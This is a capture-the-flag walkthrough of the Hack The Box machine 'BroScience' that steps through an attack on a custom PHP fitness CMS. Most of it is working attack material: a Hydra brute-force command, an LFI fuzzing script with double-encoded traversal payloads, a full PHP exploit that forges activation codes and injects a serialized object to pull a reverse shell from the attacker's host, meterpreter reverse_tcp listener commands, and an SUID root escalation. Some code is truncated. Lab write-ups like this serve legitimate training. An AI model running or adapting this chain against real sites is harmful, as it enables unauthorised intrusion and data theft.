BroScience – Hack The Box


3 ports open:

22/tcp open ssh
80/tcp open http
443/tcp open https

It looks like a custom CMS about exercising:

Clicking on “administrator” lead to a user page:

We change the ID in the URL and can exfiltrate all bros:

  • administrator (only one who is admin)
  • bill
  • michael
  • john
  • dmytro

I used Hydra to force a login but after many tries, I gave up:

hydra -L users.txt -P /usr/share/wordlists/rockyou.txt -s 443 broscience.htb https-post-form "/login.php:username=^USER^&password=^PASS^:danger"

I noticed that images are not referenced directly but rather fetched using a potential LFI in PHP, i.e. /includes/img.php?path=bench.png

Trying anything with “../” will display “Error: Attack detected.”

I though of trying the php://, expect://, file:// wrappers, but none for them worked.

In the end I gave up and automated the task. I downloaded this list:

And wrote this small Python script:

import ssl
import urllib.request
import urllib.parse

pwn = open('dotdotpwn.txt')

for line in pwn:
        line = line.strip()
        req = urllib.request.urlopen('https://broscience.htb/includes/img.php?path='+line,context=ssl._create_unverified_context())
        ans =
        if 'root:' in ans:
                print('Payload found: ' + line)

Executing it gave us the answer:

$ python3
Payload found: ..%252f..%252f..%252f..%252fetc%252fpasswd

Awesome. Using this payload we can fetch files from the server. Let’s take a look at the users:

bill and _laurel look interesting. postgresql also has /bin/bash.

Now that we can fetch files, let’s look what dirbuster can find:

I downloaded any relevant .php files like so:

curl -k https://broscience.htb/includes/img.php?path=..%252findex.php > index.php

Using grep -r ".php" . I searched for any .php files I might have missed, but that was all:

Of course, now we have credentials to the database:

In the meanwhile, as I was analyzing the PHP files, I found a potential vulnerability in utils.php.

The Avatar class writes a file using the save() function. The save() function is called by AvatarInterface in __wakeup(), which is called after you unserialize() an object of class AvatarInterface. If we set the 'user-prefs' cookie manually with a serialized instance of AvatarInterface we can get it to write a reverse shell to a file. But for that, we will need a user. If we register a user, we need to guess 32 character alphanumeric code to activate it. However, that may not be as complicated as we think, since the generation of the activation code seems to be deterministic in generate_activation_code().

Since registration and activation seem a little bit too much to do manually, and they probably have to happen in quick succession (the site deletes users after some time), it’s better to develop our own exploit for this.

// Read the local IP from STDIN
$local_ip = trim(fgets(STDIN));

// Class needed for the payload
class AvatarInterface {
    public $tmp;
    public $imgPath;

    public function __wakeup() {
        $a = new Avatar($this->imgPath);

// GET request using cURL
function get($url, $cookie = '') {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');

    if (!empty($cookie)) {
        $headers = array();
        $headers[] = 'Cookie: ' . $cookie;
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

    $result = curl_exec($ch);
    if (curl_errno($ch)) {
        die('[-] Error:' . curl_error($ch) . "\n");

    return $result;

// POST request using cURL
function post($url, $data) {
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

    $result = curl_exec($ch);
    if (curl_errno($ch)) {
        die('[-] Error:' . curl_error($ch) . "\n");

    return $result;

// Generates possible activation codes for the time when the user was created
// plus/minus $timespan seconds.
function possible_activation_codes($time) {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    $timespan = 5; // Generate codes for +/- $timespan seconds
    $codes = [];
    for ($t = $time - $timespan; $t <= $time + $timespan; $t++) {
        $activation_code = "";
        for ($i = 0; $i < 32; $i++) {
            $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
        $codes []= $activation_code;
    return $codes;

// Registers a new account
$username = uniqid();
$password = '123';
$time_of_registration = time();
$result = post('https://broscience.htb/register.php', "username=$username&email=$username%40broscience.htb&password=$password&password-confirm=$password");
if (str_contains($result, 'Account created')) {
    echo '[+] Account created: ' . $username . "\n";
} else {
    die('[-] Failed to create account.' . "\n");

// Activates the account
$codes = possible_activation_codes($time_of_registration);
$tries = 0;
foreach($codes as $code) {
    echo '[-] Trying code: ' . $code . "\n";
    $result = get('https://broscience.htb/activate.php?code=' . $code);

    if (str_contains($result, 'Account activated')) {
        echo '[+] Account activated!' . "\n";
if ($tries == count($codes)) die('[-] Failed to activate account. Try increasing $timespan' . "\n");

// Uses the account to authenticate
$result = post('https://broscience.htb/login.php',"username=$username&password=$password");
preg_match('/PHPSESSID=(.+);/', $result, $matches);
$phpsessid = $matches[1];
echo '[+] Got PHPSESSID!' . "\n";

// Uploads a PHP reverse shell
$payload = new AvatarInterface();
$payload->tmp = 'http://'.$local_ip.'/shelly.php';
$payload->imgPath = '/var/www/html/shelly.php';
$payload = base64_encode(serialize($payload));
$result = get('https://broscience.htb/user.php',"PHPSESSID=$phpsessid; user-prefs=$payload");
echo '[+] Payload uploaded!' . "\n";

// Executes the reverse shell
echo '[+] Payload executing... check msfconsole and then Ctrl+C this!' . "\n";
echo '[-] You should not see this line, started the python http server?' . "\n";

Now, we open 3 terminal tabs and run the following:

# Terminal 1
msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT=4444 -f raw -o shelly.php
python3 -m http.server 80

# Terminal 2
msfconsole -qx "use exploit/multi/handler;set PAYLOAD php/meterpreter/reverse_tcp;set LHOST;set LPORT 4444;run"

# Terminal 3:
echo '' | php exploit.php

And of course, it worked!

And after many hours and an annoyed girlfriend in the house, we got an initial foothold on the server!

Next step is to get the flags, which was actually very easy to obtain. Not sure if this was the intended path:

# Switch to a shell
meterpreter > shell

# Stabilize it and make it nice with python
python3 -c 'import pty;pty.spawn("/bin/bash")'

# Search for SUID binaries
bash-5.1$ find / -perm -u=s -type f 2>/dev/null

bash-5.1$ bash -p

bash-5.1# whoami

bash-5.1# cat /root/root.txt

bash-5.1# cat /home/bill/user.txt

What did we learn from this box? I have to admit gaining an initial foothold was pretty tough. Not difficult as such, but required in-depth analysis of the web application source code for common mistakes. Sometimes you just have to develop your own exploits!

PS: I’ve read from other walkthroughs that this was not the intended path, and I found some evidence on the machine (certificate generation by root) while getting the flags that I ignored since the SUID binary path was much easier. How did the SUID binary get there? From some other user that was solving the machine at the same time. I will revisit this machine in the future and update the this article accordingly.

Leave a Comment